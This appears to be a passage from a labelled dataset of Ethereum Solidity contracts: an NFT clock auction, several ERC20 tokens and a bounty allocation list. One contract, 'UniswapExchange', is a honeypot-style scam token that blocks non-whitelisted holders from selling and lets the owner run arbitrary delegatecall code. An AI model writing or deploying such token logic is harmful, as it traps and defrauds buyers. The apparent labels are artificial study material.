bountyMembersAmounts[0xbF81C43910e09C9A5339B2C15C59A7844DE36eAa] = 152000000000000000000; bountyMembersAmounts[0xBF2bf97b7fBD319c849D4cB6540fA9974b7c578e] = 1118000000000000000000; bountyMembersAmounts[0xbF1FdaC65b7D366b6Cb9BDE7d9ebf338A11D5EA0] = 112000000000000000000; bountyMembersAmounts[0xBF1593D47c094efc32e39BBA951dE5B9902eEaA5] = 362000000000000000000; bountyMembersAmounts[0xbeD4AD5d3dAF23a4567fedD66174849ba9Ee374d] = 103000000000000000000; bountyMembersAmounts[0xBEd0868BE655d244292A2945f6c1C82af97628dD] = 122000000000000000000; bountyMembersAmounts[0xbea37D67eF2979942fcd5e8715892F98901427ba] = 110000000000000000000; bountyMembersAmounts[0xBE96BACe8f6fa27a1441902E805CF5B026F7ea7d] = 171000000000000000000; bountyMembersAmounts[0xBD46eAccfF870A03CC541b13af90157feFd77243] = 100000000000000000000; bountyMembersAmounts[0xBC5a08fd609fBEaeF15DC36860052B01fE889Def] = 124000000000000000000; bountyMembersAmounts[0xbb04b1fff91E930F18675759ffE650cff9B15605] = 700000000000000000000; bountyMembersAmounts[0xb9ae7Be5d750A85AfedDc2732EBe88540c5BF9F3] = 228000000000000000000; bountyMembersAmounts[0xb94229396B9166ED549a080c3103c36D2bCA63e1] = 114000000000000000000; bountyMembersAmounts[0xb929d51980d4018b7b3fF84BEE63fAf8B3eABce6] = 120000000000000000000; bountyMembersAmounts[0xB73F5d6fED57ef3b6A624c918882010B38d6FeF5] = 115000000000000000000; bountyMembersAmounts[0xB632265DEFd4e8B84Bf4fD78DACbc6c26DF3314e] = 110000000000000000000; bountyMembersAmounts[0xb4Bfc94095dCcD357680eDCc0144768B2E98BAd2] = 101000000000000000000; bountyMembersAmounts[0xb465Df34B5B13a52F696236e836922Aee4B358E9] = 105000000000000000000; bountyMembersAmounts[0xb1887D27105647d2860DFc19A587007359278604] = 182000000000000000000; } }
1
4,875
pragma solidity ^0.4.21; contract ERC721 { function totalSupply() public view returns (uint256 total); function balanceOf(address _owner) public view returns (uint256 balance); function ownerOf(uint256 _tokenId) external view returns (address owner); function approve(address _to, uint256 _tokenId) external; function transfer(address _to, uint256 _tokenId) external; function transferFrom(address _from, address _to, uint256 _tokenId) external; event Transfer(address from, address to, uint256 tokenId); event Approval(address owner, address approved, uint256 tokenId); function supportsInterface(bytes4 _interfaceID) external view returns (bool); } contract Ownable { address public owner; event OwnershipTransferred(address previousOwner, address newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract StorageBase is Ownable { function withdrawBalance() external onlyOwner returns (bool) { bool res = msg.sender.send(address(this).balance); return res; } } contract ClockAuctionStorage is StorageBase { struct Auction { address seller; uint128 startingPrice; uint128 endingPrice; uint64 duration; uint64 startedAt; } mapping (uint256 => Auction) tokenIdToAuction; function addAuction( uint256 _tokenId, address _seller, uint128 _startingPrice, uint128 _endingPrice, uint64 _duration, uint64 _startedAt ) external onlyOwner { tokenIdToAuction[_tokenId] = Auction( _seller, _startingPrice, _endingPrice, _duration, _startedAt ); } function removeAuction(uint256 _tokenId) public onlyOwner { delete tokenIdToAuction[_tokenId]; } function getAuction(uint256 _tokenId) external view returns ( address seller, uint128 startingPrice, uint128 endingPrice, uint64 duration, uint64 startedAt ) { Auction storage auction = tokenIdToAuction[_tokenId]; return ( auction.seller, auction.startingPrice, auction.endingPrice, auction.duration, auction.startedAt ); } function isOnAuction(uint256 _tokenId) external view returns (bool) { return (tokenIdToAuction[_tokenId].startedAt > 0); } function getSeller(uint256 _tokenId) external view returns (address) { return tokenIdToAuction[_tokenId].seller; } function transfer(ERC721 _nonFungibleContract, address _receiver, uint256 _tokenId) external onlyOwner { _nonFungibleContract.transfer(_receiver, _tokenId); } } contract SaleClockAuctionStorage is ClockAuctionStorage { bool public isSaleClockAuctionStorage = true; uint256 public totalSoldCount; uint256[3] public lastSoldPrices; uint256 public systemOnSaleCount; mapping (uint256 => bool) systemOnSaleTokens; function removeAuction(uint256 _tokenId) public onlyOwner { super.removeAuction(_tokenId); if (systemOnSaleTokens[_tokenId]) { delete systemOnSaleTokens[_tokenId]; if (systemOnSaleCount > 0) { systemOnSaleCount--; } } } function recordSystemOnSaleToken(uint256 _tokenId) external onlyOwner { if (!systemOnSaleTokens[_tokenId]) { systemOnSaleTokens[_tokenId] = true; systemOnSaleCount++; } } function recordSoldPrice(uint256 _price) external onlyOwner { lastSoldPrices[totalSoldCount % 3] = _price; totalSoldCount++; } function averageSoldPrice() external view returns (uint256) { if (totalSoldCount == 0) return 0; uint256 sum = 0; uint256 len = (totalSoldCount < 3 ? totalSoldCount : 3); for (uint256 i = 0; i < len; i++) { sum += lastSoldPrices[i]; } return sum / len; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused { require(paused); _; } function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } } contract HasNoContracts is Pausable { function reclaimContract(address _contractAddr) external onlyOwner whenPaused { Ownable contractInst = Ownable(_contractAddr); contractInst.transferOwnership(owner); } } contract LogicBase is HasNoContracts { bytes4 constant InterfaceSignature_NFC = bytes4(0x9f40b779); ERC721 public nonFungibleContract; StorageBase public storageContract; function LogicBase(address _nftAddress, address _storageAddress) public { paused = true; setNFTAddress(_nftAddress); require(_storageAddress != address(0)); storageContract = StorageBase(_storageAddress); } function destroy() external onlyOwner whenPaused { address storageOwner = storageContract.owner(); require(storageOwner != address(this)); selfdestruct(owner); } function destroyAndSendToStorageOwner() external onlyOwner whenPaused { address storageOwner = storageContract.owner(); require(storageOwner != address(this)); selfdestruct(storageOwner); } function unpause() public onlyOwner whenPaused { require(nonFungibleContract != address(0)); require(storageContract != address(0)); require(storageContract.owner() == address(this)); super.unpause(); } function setNFTAddress(address _nftAddress) public onlyOwner { require(_nftAddress != address(0)); ERC721 candidateContract = ERC721(_nftAddress); require(candidateContract.supportsInterface(InterfaceSignature_NFC)); nonFungibleContract = candidateContract; } function withdrawBalance() external returns (bool) { address nftAddress = address(nonFungibleContract); require(msg.sender == owner || msg.sender == nftAddress); bool res = nftAddress.send(address(this).balance); return res; } function withdrawBalanceFromStorageContract() external returns (bool) { address nftAddress = address(nonFungibleContract); require(msg.sender == owner || msg.sender == nftAddress); bool res = storageContract.withdrawBalance(); return res; } } contract ClockAuction is LogicBase { ClockAuctionStorage public clockAuctionStorage; uint256 public ownerCut; uint256 public minCutValue; event AuctionCreated(uint256 tokenId, uint256 startingPrice, uint256 endingPrice, uint256 duration); event AuctionSuccessful(uint256 tokenId, uint256 totalPrice, address winner, address seller, uint256 sellerProceeds); event AuctionCancelled(uint256 tokenId); function ClockAuction(address _nftAddress, address _storageAddress, uint256 _cut, uint256 _minCutValue) LogicBase(_nftAddress, _storageAddress) public { setOwnerCut(_cut); setMinCutValue(_minCutValue); clockAuctionStorage = ClockAuctionStorage(_storageAddress); } function setOwnerCut(uint256 _cut) public onlyOwner { require(_cut <= 10000); ownerCut = _cut; } function setMinCutValue(uint256 _minCutValue) public onlyOwner { minCutValue = _minCutValue; } function getMinPrice() public view returns (uint256) { return minCutValue; } function isValidPrice(uint256 _startingPrice, uint256 _endingPrice) public view returns (bool) { return (_startingPrice < _endingPrice ? _startingPrice : _endingPrice) >= getMinPrice(); } function createAuction( uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, address _seller ) public whenNotPaused { require(_startingPrice == uint256(uint128(_startingPrice))); require(_endingPrice == uint256(uint128(_endingPrice))); require(_duration == uint256(uint64(_duration))); require(msg.sender == address(nonFungibleContract)); nonFungibleContract.transferFrom(_seller, address(clockAuctionStorage), _tokenId); require(_duration >= 1 minutes); clockAuctionStorage.addAuction( _tokenId, _seller, uint128(_startingPrice), uint128(_endingPrice), uint64(_duration), uint64(now) ); emit AuctionCreated(_tokenId, _startingPrice, _endingPrice, _duration); } function cancelAuction(uint256 _tokenId) external { require(clockAuctionStorage.isOnAuction(_tokenId)); address seller = clockAuctionStorage.getSeller(_tokenId); require(msg.sender == seller); _cancelAuction(_tokenId, seller); } function cancelAuctionWhenPaused(uint256 _tokenId) external whenPaused onlyOwner { require(clockAuctionStorage.isOnAuction(_tokenId)); address seller = clockAuctionStorage.getSeller(_tokenId); _cancelAuction(_tokenId, seller); } function getAuction(uint256 _tokenId) public view returns ( address seller, uint256 startingPrice, uint256 endingPrice, uint256 duration, uint256 startedAt ) { require(clockAuctionStorage.isOnAuction(_tokenId)); return clockAuctionStorage.getAuction(_tokenId); } function getCurrentPrice(uint256 _tokenId) external view returns (uint256) { require(clockAuctionStorage.isOnAuction(_tokenId)); return _currentPrice(_tokenId); } function _cancelAuction(uint256 _tokenId, address _seller) internal { clockAuctionStorage.removeAuction(_tokenId); clockAuctionStorage.transfer(nonFungibleContract, _seller, _tokenId); emit AuctionCancelled(_tokenId); } function _bid(uint256 _tokenId, uint256 _bidAmount, address bidder) internal returns (uint256) { require(clockAuctionStorage.isOnAuction(_tokenId)); uint256 price = _currentPrice(_tokenId); require(_bidAmount >= price); address seller = clockAuctionStorage.getSeller(_tokenId); uint256 sellerProceeds = 0; clockAuctionStorage.removeAuction(_tokenId); if (price > 0) { uint256 auctioneerCut = _computeCut(price); sellerProceeds = price - auctioneerCut; seller.transfer(sellerProceeds); } uint256 bidExcess = _bidAmount - price; bidder.transfer(bidExcess); emit AuctionSuccessful(_tokenId, price, bidder, seller, sellerProceeds); return price; } function _currentPrice(uint256 _tokenId) internal view returns (uint256) { uint256 secondsPassed = 0; address seller; uint128 startingPrice; uint128 endingPrice; uint64 duration; uint64 startedAt; (seller, startingPrice, endingPrice, duration, startedAt) = clockAuctionStorage.getAuction(_tokenId); if (now > startedAt) { secondsPassed = now - startedAt; } return _computeCurrentPrice( startingPrice, endingPrice, duration, secondsPassed ); } function _computeCurrentPrice( uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, uint256 _secondsPassed ) internal pure returns (uint256) { if (_secondsPassed >= _duration) { return _endingPrice; } else { int256 totalPriceChange = int256(_endingPrice) - int256(_startingPrice); int256 currentPriceChange = totalPriceChange * int256(_secondsPassed) / int256(_duration); int256 currentPrice = int256(_startingPrice) + currentPriceChange; return uint256(currentPrice); } } function _computeCut(uint256 _price) internal view returns (uint256) { uint256 cutValue = _price * ownerCut / 10000; if (_price < minCutValue) return cutValue; if (cutValue > minCutValue) return cutValue; return minCutValue; } } contract SaleClockAuction is ClockAuction { bool public isSaleClockAuction = true; address public systemSaleAddress; uint256 public systemStartingPriceMin = 20 finney; uint256 public systemEndingPrice = 0; uint256 public systemAuctionDuration = 1 days; function SaleClockAuction(address _nftAddr, address _storageAddress, address _systemSaleAddress, uint256 _cut, uint256 _minCutValue) ClockAuction(_nftAddr, _storageAddress, _cut, _minCutValue) public { require(SaleClockAuctionStorage(_storageAddress).isSaleClockAuctionStorage()); setSystemSaleAddress(_systemSaleAddress); } function bid(uint256 _tokenId) external payable { uint256 price = _bid(_tokenId, msg.value, msg.sender); clockAuctionStorage.transfer(nonFungibleContract, msg.sender, _tokenId); SaleClockAuctionStorage(clockAuctionStorage).recordSoldPrice(price); } function createSystemAuction(uint256 _tokenId) external { require(msg.sender == address(nonFungibleContract)); createAuction( _tokenId, computeNextSystemSalePrice(), systemEndingPrice, systemAuctionDuration, systemSaleAddress ); SaleClockAuctionStorage(clockAuctionStorage).recordSystemOnSaleToken(_tokenId); } function setSystemSaleAddress(address _systemSaleAddress) public onlyOwner { require(_systemSaleAddress != address(0)); systemSaleAddress = _systemSaleAddress; } function setSystemStartingPriceMin(uint256 _startingPrice) external onlyOwner { require(_startingPrice == uint256(uint128(_startingPrice))); systemStartingPriceMin = _startingPrice; } function setSystemEndingPrice(uint256 _endingPrice) external onlyOwner { require(_endingPrice == uint256(uint128(_endingPrice))); systemEndingPrice = _endingPrice; } function setSystemAuctionDuration(uint256 _duration) external onlyOwner { require(_duration == uint256(uint64(_duration))); systemAuctionDuration = _duration; } function totalSoldCount() external view returns (uint256) { return SaleClockAuctionStorage(clockAuctionStorage).totalSoldCount(); } function systemOnSaleCount() external view returns (uint256) { return SaleClockAuctionStorage(clockAuctionStorage).systemOnSaleCount(); } function averageSoldPrice() external view returns (uint256) { return SaleClockAuctionStorage(clockAuctionStorage).averageSoldPrice(); } function computeNextSystemSalePrice() public view returns (uint256) { uint256 avePrice = SaleClockAuctionStorage(clockAuctionStorage).averageSoldPrice(); require(avePrice == uint256(uint128(avePrice))); uint256 nextPrice = avePrice + (avePrice / 2); if (nextPrice < systemStartingPriceMin) { nextPrice = systemStartingPriceMin; } return nextPrice; } }
0
200
pragma solidity ^0.4.18; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract ConsenSysAPAC is MintableToken { string public name = " ConsenSysAPAC "; string public symbol = "APAC"; uint public decimals = 18; }
1
3,099
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
2,278
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; constructor() public { owner = 0xCfFF1E0475547Cb68217515568D6d399eF144Ea8; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner)public onlyOwner { require(newOwner != address(0)); owner = newOwner; } } contract ERC20Basic is Ownable { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; mapping (address => bool) public frozenAccount; mapping(address => uint256) public lockAccounts; event FrozenFunds( address target, bool frozen ); event AccountLocked( address _addr, uint256 timePeriod ); event Burn( address indexed burner, uint256 value ); function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } function lockAccount(address _addr, uint256 _timePeriod) onlyOwner public { lockAccounts[_addr] = _timePeriod; emit AccountLocked(_addr, _timePeriod); } function burnTokens(address _who, uint256 _amount) public onlyOwner { require(balances[_who] >= _amount); balances[_who] = balances[_who].sub(_amount); totalSupply = totalSupply.sub(_amount); emit Burn(_who, _amount); emit Transfer(_who, address(0), _amount); } function transfer(address _to, uint256 _value)public returns (bool) { require(now.add(1 * 1 hours) > lockAccounts[msg.sender] || lockAccounts[msg.sender] == 0); require(!frozenAccount[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner)public constant returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract AdvanceToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function _burn(address _account, uint256 _amount) internal { require(_account != 0); require(_amount <= balances[_account]); totalSupply = totalSupply.sub(_amount); balances[_account] = balances[_account].sub(_amount); emit Transfer(_account, address(0), _amount); } function burnFrom(address _account, uint256 _amount) public { require(_amount <= allowed[_account][msg.sender]); require(!frozenAccount[_account]); allowed[_account][msg.sender] = allowed[_account][msg.sender].sub(_amount); _burn(_account, _amount); } function burn(uint256 _value) public { _burn(msg.sender, _value); } function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(!frozenAccount[_from]); require(now.add(1 * 1 hours) > lockAccounts[_from] || lockAccounts[_from] == 0); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract CanleadToken is AdvanceToken { string public constant name = "Canlead Token"; string public constant symbol = "CAND"; uint256 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 1000000000 * 10**decimals; constructor() public { totalSupply = INITIAL_SUPPLY; balances[0xCfFF1E0475547Cb68217515568D6d399eF144Ea8] = INITIAL_SUPPLY; emit Transfer(address(0), address(0xCfFF1E0475547Cb68217515568D6d399eF144Ea8),totalSupply); } }
1
3,561
pragma solidity ^0.4.16; library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value > 0 && _value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value > 0 && _value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); 